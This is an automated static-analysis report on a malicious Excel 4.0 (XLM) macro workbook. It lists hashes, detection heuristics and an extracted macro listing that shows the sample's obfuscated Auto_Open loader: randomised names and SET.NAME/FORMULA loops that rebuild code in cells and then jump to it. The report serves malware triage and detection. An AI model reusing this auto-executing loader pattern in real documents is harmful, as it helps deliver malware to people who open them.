Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 386ef3b10660a95d…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:00 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 4d408aed75b68e772dca2bbddfb2e4e2 SHA-1: b919be647cff94959a93dc48002d6a4ab78d990a SHA-256: 386ef3b10660a95d0f4f602ca1294e3c9ff77a36b65a0c47b07c0027db52b297
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6451 bytes
SHA-256: 28f186d4a9a0740787358f98bb13128475ab45dbe8202b731e881575088f7bd9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gYONpJ
' 0018     20 LABEL : Cell Value, String Constant - aazqK len=0 
' 0018     26 LABEL : Cell Value, String Constant - anUNAMXglqS len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F161 
' 0018     22 LABEL : Cell Value, String Constant - BfojBZd len=0 
' 0018     24 LABEL : Cell Value, String Constant - iDyDQUNMt len=0 
' 0018     24 LABEL : Cell Value, String Constant - KSeALhxWg len=0 
' 0018     20 LABEL : Cell Value, String Constant - KWMmt len=0 
' 0018     23 LABEL : Cell Value, String Constant - MiWIppoQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - mmkSCywRGHPX len=0 
' 0018     25 LABEL : Cell Value, String Constant - MpnBjvyOaP len=0 
' 0018     25 LABEL : Cell Value, String Constant - muFzctyUzc len=0 
' 0018     25 LABEL : Cell Value, String Constant - ndTnZnllUB len=0 
' 0018     20 LABEL : Cell Value, String Constant - pJoBv len=0 
' 0018     26 LABEL : Cell Value, String Constant - pPqwydHMqJg len=0 
' 0018     21 LABEL : Cell Value, String Constant - RBvcvl len=0 
' 0018     26 LABEL : Cell Value, String Constant - ShSiCSbPpnB len=0 
' 0018     20 LABEL : Cell Value, String Constant - SJfuM len=0 
' 0018     24 LABEL : Cell Value, String Constant - vgeLQVGvu len=0 
' 0018     21 LABEL : Cell Value, String Constant - vQnMBC len=0 
' 0018     21 LABEL : Cell Value, String Constant - wfnlMv len=0 
' 0018     21 LABEL : Cell Value, String Constant - XHaLXf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gYONpJ,F52,"SET.NAME("vgeLQVGvu",VALUE("0"))",""
'  gYONpJ,F55,"SET.NAME("XHaLXf",vgeLQVGvu)",""
'  gYONpJ,F57,"SET.NAME("muFzctyUzc",vgeLQVGvu)",""
'  gYONpJ,F62,"SET.NAME("MpnBjvyOaP",COUNTA(pJoBv))",""
'  gYONpJ,F67,"SET.NAME("iDyDQUNMt",COUNTA(mmkSCywRGHPX))",""
'  gYONpJ,F71,[],""
'  gYONpJ,F73,"SET.NAME("pPqwydHMqJg","")",""
'  gYONpJ,F77,"XHaLXf",""
'  gYONpJ,F81,"SET.NAME("anUNAMXglqS",HLOOKUP("*",pJoBv,XHaLXf,FALSE))",""
'  gYONpJ,F85,"BfojBZd",""
'  gYONpJ,F90,"SET.NAME("MiWIppoQ",vgeLQVGvu)",""
'  gYONpJ,F95,[],""
'  gYONpJ,F99,"MiWIppoQ",""
'  gYONpJ,F104,"KWMmt",""
'  gYONpJ,F108,"wfnlMv",""
'  gYONpJ,F113,"KSeALhxWg",""
'  gYONpJ,F117,"SET.NAME("vQnMBC",VALUE(HLOOKUP("*",mmkSCywRGHPX,KSeALhxWg,FALSE)))",""
'  gYONpJ,F121,"ShSiCSbPpnB",""
'  gYONpJ,F125,"pPqwydHMqJg",""
'  gYONpJ,F130,"muFzctyUzc",""
'  gYONpJ,F134,NEXT(),""
'  gYONpJ,F138,"ndTnZnllUB",""
'  gYONpJ,F143,"SET.NAME("f",INT(T(FORMULA(T(pPqwydHMqJg)&"",""&T(ndTnZnllUB)))))",""
'  gYONpJ,F147,"aazqK",""
'  gYONpJ,F151,NEXT(),""
'  gYONpJ,F156,RETURN(),""
'  gYONpJ,F188,"SET.NAME("RBvcvl",F52)",""
'  gYONpJ,F191,"pJoBv",""
'  gYONpJ,F193,"SET.NAME("mmkSCywRGHPX",R67C11)",""
'  gYONpJ,F197,"SET.NAME("aazqK",205)",""
'  gYONpJ,F199,"SET.NAME("SJfuM",6)",""
'  gYONpJ,F204,RBvcvl(),""
'  gYONpJ,F205,HALT(),""